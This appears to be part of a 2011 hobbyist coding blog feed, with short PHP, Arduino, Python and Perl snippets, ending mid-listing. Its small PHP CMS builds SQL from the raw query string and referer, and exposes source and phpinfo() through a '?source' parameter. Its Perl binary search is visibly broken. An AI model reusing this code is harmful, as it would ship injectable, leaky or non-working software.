&lt;td&gt;.&lt;/td&gt;
&lt;td&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;/mnt/1wire/&lt;/td&gt;
&lt;td&gt;29.A29F09000000&lt;/td&gt;
&lt;td&gt;..&lt;/td&gt;
&lt;td&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-7715024352289297483?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/7715024352289297483/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=7715024352289297483' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/7715024352289297483'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/7715024352289297483'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2011/12/1wire-generalized-php-script_30.html' title='1wire generalized PHP script'/><author><name>this.is.lance.miller</name><uri>http://www.blogger.com/profile/09165673069819044872</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_SwTDE8MkE0s/SaisyZzLBAI/AAAAAAAAAAM/u_hV97E8XMI/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-3173786874758523794</id><published>2011-10-17T05:11:00.000-07:00</published><updated>2011-10-18T04:27:31.957-07:00</updated><title type='text'>Tiny Ad-Hoc CMS</title><content type='html'>&lt;h3&gt;index.php&lt;/h3&gt;
&lt;pre&gt;
&amp;lt;?php
$time_start = microtime(true);
error_reporting(E_ALL);
$pagetitle="hello world";
$needDB=1;
isset($needDB) ? include("db.inc.php") : $linkReport="\n&amp;gt;!--- no database connection used ---&amp;lt;\n" ;
include("inc/lists.txt");
foreach($anatomyA as $part) {include(${part});}
print $linkReport;
showSource();
$base=explode("/",$_SERVER['PHP_SELF']);
$num=count($base);
$base2=explode(".",$base[$num-1]);
$content=$docRoot."/inc/".$base2[0].".txt";
include($content);
foreach($anatomyB as $part) {include(${part});}
die();
?&amp;gt;
&lt;/pre&gt;
&lt;h3&gt;db.inc.php&lt;/h3&gt;
&lt;pre&gt;
&amp;lt;?php
if (isset($needDB)) {
${server}="localhost";
${username}="someuser";
${password}="somepassword";
${database}="somedatabase";
$link=mysql_connect(${server},${username},${password});
@mysql_select_db($database);
}
else {
$to = "example@example.com";
$subject = "alert db.inc.php";
$body = "a direct access to db.inc.db was just attempted.";
mail($to, $subject, $body);
die();
}
$link ? $linkReport="\n&amp;lt;!---mysql_connect was successfull--&amp;gt;\n" : $linkReport="\n&amp;lt;!---mysql_connect was not successful--&amp;gt;\n";
?&amp;gt;
&lt;/pre&gt;
&lt;h3&gt;inc/lists.txt&lt;/h3&gt;
&lt;pre&gt;
&amp;lt;?php
putenv("TZ=America/Los_Angeles");
$homepage="/index.php";
${docRoot}=getenv('DOCUMENT_ROOT');
${anatomyA}=array(
      "${docRoot}/inc/header.txt",
      "${docRoot}/inc/showsource.txt",
      "${docRoot}/inc/BANNERS.genPublic.txt"
      );
${anatomyB}=array(
      "${docRoot}/inc/footer.txt"
      );
?&amp;gt;
&lt;/pre&gt;
&lt;h3&gt;inc/header.txt&lt;/h3&gt;
&lt;pre&gt;
&amp;lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&amp;gt;
&amp;lt;html xmlns:fb="http://www.facebook.com/2008/fbml" xml:lang="en" lang="en"&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8" /&amp;gt;
&amp;lt;meta name="description" content="" /&amp;gt;
&amp;lt;?php isset($linkReport) ? print $linkReport : print "\n&amp;gt;!--- no \$linkReport ---&amp;lt;\n"; ?&amp;gt;
&amp;lt;title&amp;gt;
&amp;lt;?php
print ${pagetitle};
?&amp;gt;
&amp;lt;/title&amp;gt;


&amp;lt;?php
// grabs google api key for javascript
if (${needMaps}) {include("inc/googleMapsKey.js.txt");}
?&amp;gt;


&amp;lt;script type="text/javascript"&amp;gt; 
/*
http://code.google.com/apis/ajaxsearch/signup.html
http://code.google.com/apis/ajaxlibs/documentation/
*/
  // google.load("jquery", "1");
  // google.load("jqueryui", "1");
  // google.load("prototype", "1");
  // google.load("scriptaculous", "1");
  // google.load("mootools", "1"); TURNED OFF
  // google.load("dojo", "1");    TURNED OFF
  
&amp;lt;/script&amp;gt;  

&amp;lt;link type="text/css" rel="stylesheet" href="/css/dos.css"&amp;gt;
  &amp;lt;/link&amp;gt;

&amp;lt;script type="text/javascript" src="/js/getElementsByClassName.js"&amp;gt;
  &amp;lt;/script&amp;gt;

&amp;lt;script type="text/javascript" src="/js/main.js"&amp;gt;
  &amp;lt;/script&amp;gt;

&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;table id="debugtable" style="display:none"&amp;gt;
&amp;lt;tr&amp;gt;
&amp;lt;td class="boxstyle1" id="debugbox"&amp;gt;debug output&amp;lt;/td&amp;gt; 
&amp;lt;td class="spanstyle1"&amp;gt;&amp;gt;&amp;gt;&amp;lt;/td&amp;gt;
&amp;lt;td&amp;gt;
&amp;lt;textarea id="debug" cols="80" rows="15" wrap="soft"&amp;gt;
Welcome to the debug output textarea!
Vital info for the debug textarea :
1) the ID for this output field is: debug
2) is loaded into every page
3) defaults to style.display=none
4) area is shown by setting style.display=block
5) area is shown by javascript command debug() 
6) area is shown by debug=y query string at end of any URL
&amp;lt;/textarea&amp;gt;
&amp;lt;/td&amp;gt;
&amp;lt;/tr&amp;gt;
&amp;lt;/table&amp;gt;
&amp;lt;form name="formMain" id="formMain" method="POST"&amp;gt;
&lt;/pre&gt;

&lt;h3&gt;inc/showsource.txt&lt;/h3&gt;
&lt;pre&gt;
&amp;lt;?php
// never include this in php files that show passwords
function showSource() {
if (isset($_GET['source'])) { highlight_file($_SERVER["SCRIPT_FILENAME"]); phpinfo(); }
}
function hilite($me) { print "\n&amp;lt;h3&amp;gt;${me}&amp;lt;/h3&amp;gt;\n"; highlight_file(${me});}
?&amp;gt;
&lt;/pre&gt;
&lt;h3&gt;/inc/BANNERS.genPublic.txt&lt;/h3&gt;
&lt;pre&gt;
&amp;lt;div id="banner" style="border: solid 1px #000000"&amp;gt;
&amp;lt;center&amp;gt;
&amp;lt;h1&amp;gt;Hello World&amp;lt;/h1&amp;gt;
&amp;lt;/center&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/pre&gt;
&lt;h3&gt;inc/footer.txt&lt;/h3&gt;
&lt;pre&gt;
&amp;lt;/form&amp;gt;
&amp;lt;hr width="50%" /&amp;gt;
&amp;lt;div id="footer"&amp;gt;
&amp;lt;center&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&amp;lt;?php 
${time_end} = microtime(true);
isset(${time_start}) ? ${processTime} = $time_end - $time_start : ${processTime}=0 ;
print "\n&amp;lt;p&amp;gt;&amp;lt;center&amp;gt;server process time: ".${processTime}."&amp;lt;/center&amp;gt;&amp;lt;/p&amp;gt;\n";
include("${docRoot}/inc/insertAccesslogs.txt");
?&amp;gt;
&amp;lt;/center&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&amp;lt;?php
die();
?&amp;gt;
&lt;/pre&gt;
&lt;h3&gt;inc/insertAccesslogs.txt&lt;/h3&gt;
&lt;pre&gt;
&amp;lt;?php
$page=getenv("SCRIPT_NAME"); 
$query=getenv("QUERY_STRING");
$referer=getenv("HTTP_REFERER"); 
$ip=getenv("REMOTE_ADDR");
isset(${processTime}) ? ${processTime}=${processTime} : ${processTime}=0 ; 
$query = "INSERT INTO `mydatabase`.`accesslogs` (`id`, `page`, `query`, `time`, `referer`, `ip`, `processTime`) 
          VALUES (NULL, '${page}', '${query}', NOW(), '${referer}', '${ip}', '${processTime}');";
print "\$sql = ".${query};
mysql_query(${query}) or trigger_error(mysql_error(),E_USER_ERROR);
?&amp;gt;
&lt;/pre&gt;
&lt;h3&gt;inc/accesslogs.sql.txt&lt;/h3&gt;
&lt;pre&gt;
--
-- Table structure for table `accesslogs`
--

CREATE TABLE IF NOT EXISTS `accesslogs` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `page` varchar(64) DEFAULT NULL,
  `query` varchar(64) DEFAULT NULL,
  `time` date NOT NULL,
  `referer` varchar(64) DEFAULT NULL,
  `ip` varchar(64) DEFAULT NULL,
  `processTime` varchar(64) DEFAULT NULL,
  UNIQUE KEY `id` (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=latin1 ;
&lt;/pre&gt;
&lt;h3&gt;css/main.css&lt;/h3&gt;
&lt;pre&gt;
body {
background-color:black;
color:gray;
font-family:Megazeux, monospace;
font-size:28px;
line-height:28px;
}

pre {
font-family:Megazeux, monospace;
}

a:link
{
text-decoration:none;
color:gray;
}

a:visited
{
text-decoration:none;
color:gray;
}

a:hover, a:active
{
text-decoration:none;
color:gray;
}

.blinker {
text-decoration:blink;
}

#footer {
font-size:75%;
}
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-3173786874758523794?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/3173786874758523794/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=3173786874758523794' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/3173786874758523794'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/3173786874758523794'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2011/10/tiny-ad-hoc-cms.html' title='Tiny Ad-Hoc CMS'/><author><name>this.is.lance.miller</name><uri>http://www.blogger.com/profile/09165673069819044872</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_SwTDE8MkE0s/SaisyZzLBAI/AAAAAAAAAAM/u_hV97E8XMI/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-4234970664012453242</id><published>2011-10-15T18:56:00.001-07:00</published><updated>2011-10-15T18:56:46.511-07:00</updated><title type='text'>Unix Command Line Prompts</title><content type='html'>&lt;pre&gt;

PS1="\n#--[\[\e[1;36m\]\u@\h\[\e[m\]]-[\[\e[1;34m\]\w\[\e[m\]]-[\$(date)]--&gt;\n#&gt;" 

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-4234970664012453242?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/4234970664012453242/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=4234970664012453242' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4234970664012453242'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4234970664012453242'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2011/10/unix-command-line-prompts.html' title='Unix Command Line Prompts'/><author><name>this.is.lance.miller</name><uri>http://www.blogger.com/profile/09165673069819044872</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_SwTDE8MkE0s/SaisyZzLBAI/AAAAAAAAAAM/u_hV97E8XMI/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-4693023434886800430</id><published>2011-08-01T16:39:00.001-07:00</published><updated>2011-08-01T17:06:16.387-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='arduino'/><title type='text'>Arduino Uno: Blink and Buzz across all OUTPUT, Photocell at A0 for INPUT Sensor reading</title><content type='html'>&lt;pre&gt;#define BUZZER 13
#define INIT 200
int buzzoff = 1;
int iterator=INIT;
int sensorReading;

void setup() {                
  for (int i=1;i&lt;14;i++) { pinMode(i, OUTPUT);}
}

void loop() {
  if (iterator &lt; 300) {iterator++;}
  else {iterator=INIT;}
  sensorReading = analogRead(A0);
  sensorReading = iterator;
for (int i=1;i&lt;14;i++) { 
                         if (iterator % 3 ==0) {
                         digitalWrite(i, LOW); delay(100);
                          }
                         else { 
                               if (i == BUZZER &amp;&amp; buzzoff == 0) {delay(0);}
                               else { analogWrite(i, sensorReading); delay(10); }
                             
                            } 
                       }  
delay(100);  

for (int i=1;i&lt;14;i++) { digitalWrite(i, LOW); }   

}
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-4693023434886800430?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/4693023434886800430/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=4693023434886800430' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4693023434886800430'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/4693023434886800430'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2011/08/arduino-uno-blink-and-buzz-across-all.html' title='Arduino Uno: Blink and Buzz across all OUTPUT, Photocell at A0 for INPUT Sensor reading'/><author><name>this.is.lance.miller</name><uri>http://www.blogger.com/profile/09165673069819044872</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_SwTDE8MkE0s/SaisyZzLBAI/AAAAAAAAAAM/u_hV97E8XMI/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-3426993545354209260</id><published>2011-07-31T06:14:00.000-07:00</published><updated>2011-08-01T16:42:36.585-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='arduino'/><title type='text'>Arduino Uno Buzzer: My First Program</title><content type='html'>&lt;pre&gt;int timer = 100;           
int iterator = 1;
int olditerator=1;
int bifurcate = 0;
int limit = 1000;
double period;
double wait;

void setup() {
  for (int thisPin = 1; thisPin &amp;lt; 13; thisPin++)  {
    pinMode(thisPin, OUTPUT);      
  }
}

void loop() {

  for (int thisPin = 13; thisPin &amp;gt;= 1; thisPin--) { 
    // digitalWrite(thisPin, HIGH);
    if (thisPin == 13 || thisPin == 5 || thisPin == 1 || thisPin == 8) { 
          olditerator=iterator;
          while (olditerator&amp;gt;1) {
          analogWrite(thisPin, olditerator);
          olditerator--;
          }
        while (iterator &amp;lt; limit) {
          period = ((iterator * 4.86510264) + iterator);  
          wait = period / 2; 
          if (iterator &amp;lt; bifurcate) {
             if (iterator % 2 ==0) {analogWrite(thisPin, iterator*200);}
             else {analogWrite(thisPin, iterator*200); delay(10);}
             delayMicroseconds(wait);
                             } 
           if (iterator &amp;gt; bifurcate) {  
          delayMicroseconds(wait);   
          digitalWrite(thisPin, LOW);  
          delayMicroseconds(wait);   
          analogWrite(thisPin, iterator+500);
          analogWrite(thisPin, iterator);
          olditerator=iterator;
          while (olditerator&amp;gt;1) {
          analogWrite(thisPin, olditerator);
          analogWrite(thisPin, iterator);
          olditerator--;
          }
          delayMicroseconds(wait); 
          digitalWrite(thisPin, LOW);
    
                             } 
                                               
          iterator++;  
                        }
          iterator=0;                      
                     }
    delay(timer);
    digitalWrite(thisPin, LOW);
  }
}
&lt;/pre&gt;
&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-3426993545354209260?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/3426993545354209260/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=3426993545354209260' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/3426993545354209260'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/3426993545354209260'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2011/07/arduino-uno-buzzer-my-first-program.html' title='Arduino Uno Buzzer: My First Program'/><author><name>this.is.lance.miller</name><uri>http://www.blogger.com/profile/09165673069819044872</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_SwTDE8MkE0s/SaisyZzLBAI/AAAAAAAAAAM/u_hV97E8XMI/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-1287158310837785072</id><published>2011-07-01T17:15:00.000-07:00</published><updated>2011-07-01T18:54:34.972-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='pad'/><category scheme='http://www.blogger.com/atom/ns#' term='sort'/><title type='text'>Pad and sort list of IP numbers</title><content type='html'>&lt;pre&gt;
L = ['123.76.9.2', '125.76.9.3', '123.76.10.12', '92.93.3.79', '92.93.3.78', '222.222.222.222', '222.222.1.222']
L = sorted([".".join(['%03d' % int(j) for j in i.split('.')]) for i in L])
print L
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-1287158310837785072?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/1287158310837785072/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=1287158310837785072' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/1287158310837785072'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/1287158310837785072'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2011/07/pad-and-sort-list-of-ip-numbers.html' title='Pad and sort list of IP numbers'/><author><name>this.is.lance.miller</name><uri>http://www.blogger.com/profile/09165673069819044872</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_SwTDE8MkE0s/SaisyZzLBAI/AAAAAAAAAAM/u_hV97E8XMI/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-6184618990722788546</id><published>2011-06-18T14:39:00.000-07:00</published><updated>2011-06-21T15:02:57.621-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='interview questions'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>In list of numbers, find each pair that equals 100</title><content type='html'>&lt;p&gt;Yes I know this has no graceful error protection for user input, wanted the example code to focused on problem space.&lt;/p&gt;
&lt;pre&gt;
#!/usr/bin/env python
import random
import sys
X=int(sys.argv[1]) # e.g. enter 100 on the command line
print "In list of numbers, find each pair that equals " + str(X)

myNumbers = []
matched = []
for i in range(1,X):
 myNumbers.append(random.randrange(0,X))

for i in myNumbers:
 A=myNumbers.pop()
 for j in myNumbers:
  if A != False:
   try:
    if ((A+myNumbers[j]) == X):
     B=myNumbers[j]
     del myNumbers[j]
     matched.append([A, B])
     A = False
   except:
    TypeError

for i, j  in enumerate(matched):
 if ((i&gt;0) and (i % 5 == 0)):
  print j
 else:   print j,

print
print "length of remaining unmatched numbers list is " + str(len(myNumbers)) 
print "length of remaining matched numbers list is " + str(len(matched)) 

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-6184618990722788546?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/6184618990722788546/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=6184618990722788546' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/6184618990722788546'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/6184618990722788546'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2011/06/in-list-of-numbers-find-each-pair-that.html' title='In list of numbers, find each pair that equals 100'/><author><name>this.is.lance.miller</name><uri>http://www.blogger.com/profile/09165673069819044872</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_SwTDE8MkE0s/SaisyZzLBAI/AAAAAAAAAAM/u_hV97E8XMI/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-4354401633421877279</id><published>2011-06-16T13:32:00.000-07:00</published><updated>2011-06-19T00:28:07.674-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='binary search'/><title type='text'>Binary search in Perl, using CGI.pm and Ajax</title><content type='html'>&lt;p&gt;
This is a little more complicated than most things on small-code.blogspot.com. There are two files, one is plain html with some javascript/ajax in it, and the other is a cgi.pm (C-G-I-Perl-Module) file that relies on your webserver properly serving perl scripts to the web. 
&lt;/p&gt;
&lt;p&gt;
My coding is based on a perl script I found on the web written by my first computer science instructor, Jonathan Jacky. His script is &lt;a href="http://staff.washington.edu/jon/dsa-perl/bsearch"&gt;&lt;b&gt;here&lt;/b&gt;&lt;/a&gt;.
&lt;/p&gt;
Source code:
&lt;ol&gt;
&lt;li&gt;
&lt;a href="#bsearch"&gt;bsearch subroutine&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="#search_html"&gt;search.html&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="#search_pl"&gt;search.pl&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;a name="bsearch"&gt;&lt;/a&gt;
&lt;b&gt;bsearch subroutine&lt;/b&gt;
&lt;pre&gt;
sub bsearch {
    my ($searchterm, $a) = @_;            
    my ($lower, $upper) = (0, @ - 1);   
    my $index;                            
    while ($lower &amp;lt;= $upper) {
 $index = int(($lower + $upper)/2);
        print " looking for  at index=$index point in between upper= and lower=$lower\n";
 if ($searchterm &amp;gt; $a-&amp;gt;[$index] ) {$lower = $index+1;}
 elsif ($searchterm &lt; $a-&amp;gt;[$index] ) { $upper = $index-1; } 
 else {return "found  at line $index\n"; }
    }
    return "did not find: $searchterm\n"; 
$results=bsearch($searchword,\@sortedNums);       
print $results;
}
&lt;/pre&gt;

&lt;a name="search_html"&gt;&lt;/a&gt;
&lt;b&gt;search.html&lt;/b&gt;
&lt;pre&gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;title&amp;gt;Binary Search Perl CGI.pm&amp;lt;/title&amp;gt;
&amp;lt;script language="Javascript"&amp;gt;
function xmlhttpPost(strURL) {
    var xmlHttpReq = false;
    var self = this;
    // Mozilla/Safari
    if (window.XMLHttpRequest) {
        self.xmlHttpReq = new XMLHttpRequest();
    }
    // IE
    else if (window.ActiveXObject) {
        self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP");
    }
    self.xmlHttpReq.open('POST', strURL, true);
    self.xmlHttpReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    self.xmlHttpReq.onreadystatechange = function() {
        if (self.xmlHttpReq.readyState == 4) {
            updatepage(self.xmlHttpReq.responseText);
        }
    }
    self.xmlHttpReq.send(getquerystring());
}

function getquerystring() {
    var form     = document.forms['f1'];
    var searchterm = form.searchterm.value;
    qstr = 'w=' + escape(searchterm);  // NOTE: no '?' before querystring
    return qstr;
}

function updatepage(str){
    document.getElementById("result").value = str;
}
&amp;lt;/script&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;h5&amp;gt;Lance Miller's fun with binary search with Perl CGI module&amp;lt;/h5&amp;gt;
&amp;lt;form name="f1"&amp;gt;
  &amp;lt;p&amp;gt;search term: &amp;lt;input name="searchterm" type="text" value="62303311"&amp;gt;&amp;lt;/input&amp;gt;  
  &amp;lt;input value="search" type="button" onclick='JavaScript:xmlhttpPost("search.pl")' onload='JavaScript:xmlhttpPost("search.pl")'&amp;gt;
&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;b&amp;gt;bsearch&amp;lt;/b&amp;gt; subroutine is the core processing code in the server side perl script which sends plain text to this 
page's ajax powered javascript.&amp;lt;/p&amp;gt;
&amp;lt;pre&amp;gt;
sub bsearch {
    my ($searchterm, $a) = @_;            
    my ($lower, $upper) = (0, @ - 1);   
    my $index;                            
    while ($lower &amp;lt;= $upper) {
 $index = int(($lower + $upper)/2);
        print " looking for  at index=$index point in between upper= and lower=$lower\n";
 if ($searchterm &amp;gt; $a-&amp;gt;[$index] ) {$lower = $index+1;}
 elsif ($searchterm &amp;lt; $a-&amp;gt;[$index] ) { $upper = $index-1; } 
 else {return "found  at line $index\n"; }
    }
    return "did not find: $searchterm\n"; 
$results=bsearch($searchword,\@sortedNums);       
print $results;
}
&amp;lt;/pre&amp;gt;


  &amp;lt;div&amp;gt; 
     &amp;lt;br /&amp;gt;&amp;lt;hr /&amp;gt;
     &amp;lt;textarea name="result" id="result" cols="140" rows="1000" scroll="yes" wrap="false"&amp;gt;&amp;lt;/textarea&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/form&amp;gt;

&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/pre&gt;
&lt;a name="search_pl"&gt;&lt;/a&gt;
&lt;b&gt;search.pl&lt;/b&gt;
&lt;pre&gt;
#!/usr/bin/perl -w
use CGI;
use Time::HiRes;

$query = new CGI;
$searchword = $query-&amp;gt;param('w');
$remotehost = $query-&amp;gt;remote_host();
print $query-&amp;gt;header;
$mytime=localtime;

loadArray();

sub loadArray {
@randomArray= (
"99884558",
"12818457",
"57978287",
"80679998",
"81303222",
"88621216",
"44913561",
"28114899",
"82977136",
"70551898",
"96350125",
"26897961",
"46830924",
"36044684",
"42834719",
"88961252",
"41790591",
"61873403",
"22431869",
"47438295",
"24847842",
"14577888",
"35200952",
"44220336",
"70100458",
"63085933",
"86282491",
"99533253",
"09606957",
"26034142",
"93138243",
"44042626",
"78027817",
"95596538",
"40287838",
"19490936",
"46403564",
"56726408",
"42105575",
"69488869",
"03687365",
"87610675",
"05981774",
"58369886",
"96835842",
"36738419",
"71274210",
"24520911",
"64788741",
"40151782",
"70354978",
"94359447",
"36165315",
"10014350",
"32517195",
"50210264",
"39334533",
"61385098",
"29101776",
"59219760",
"11384710",
"58970881",
"72601327",
"50786839",
"49107446",
"17273946",
"74325878",
"07433704",
"11391759",
"74435593",
"46669569",
"94159681",
"09289902",
"27369091",
"45030626",
"79245943",
"87420459",
"39055791",
"10578194",
"15662388",
"06526033",
"94628324",
"48604281",
"44331199",
"59710199",
"69737571",
"04236268",
"18985199",
"05858530",
"86624944",
"78581173",
"43803811",
"37060365",
"01104467",
"28615419",
"97957200",
"70096891",
"07057563",
"12445294",
"28036354",
"10320028",
"77906526",
"52886381",
"62637142",
"52656168",
"92824899",
"60038197",
"97247120",
"93108917",
"21585071",
"25846395",
"40264947",
"65230783",
"29575635",
"29140301",
"33618378",
"18420012",
"86075613",
"30948880",
"27966351",
"77210191",
"70000716",
"65269496",
"19486719",
"43614339",
"99787163",
"79110172",
"54273736",
"76534547",
"82339810",
"72816078",
"54100234",
"22582456",
"67006266",
"54900790",
"66454859",
"61700876",
"97869281",
"91129290",
"30022303",
"26749585",
"35702880",
"03491356",
"38671554",
"12200330",
"11950784",
"56779635",
"40962294",
"76120675",
"56312052",
"39296918",
"80648644",
"13141550",
"63994419",
"76166835",
"63611692",
"17357418",
"60490258",
"01911604",
"36400032",
"13739396",
"65574190",
"46806517",
"19233159",
"97672379",
"30818802",
"35319711",
"06166998",
"97214970",
"63464151",
"36999445",
"66820748",
"27606344",
"04552780",
"31081344",
"45698509",
"43527053",
"72217282",
"58489967",
"57576995",
"42753801",
"26540797",
"21023614",
"09078885",
"33425533",
"52546714",
"20917283",
"62534955",
"77487482",
"03021801",
"99006552",
"72681013",
"65984301",
"79023778",
"10590149",
"93690465",
"69285240",
"06033266",
"41182271",
"50009087",
"23479413",
"68739273",
"85968423",
"03984256",
"03270686",
"71287104",
"55693286",
"73001598",
"57187934",
"77088339",
"99153509",
"36859861",
"25565299",
"54517311",
"35984833",
"12862516",
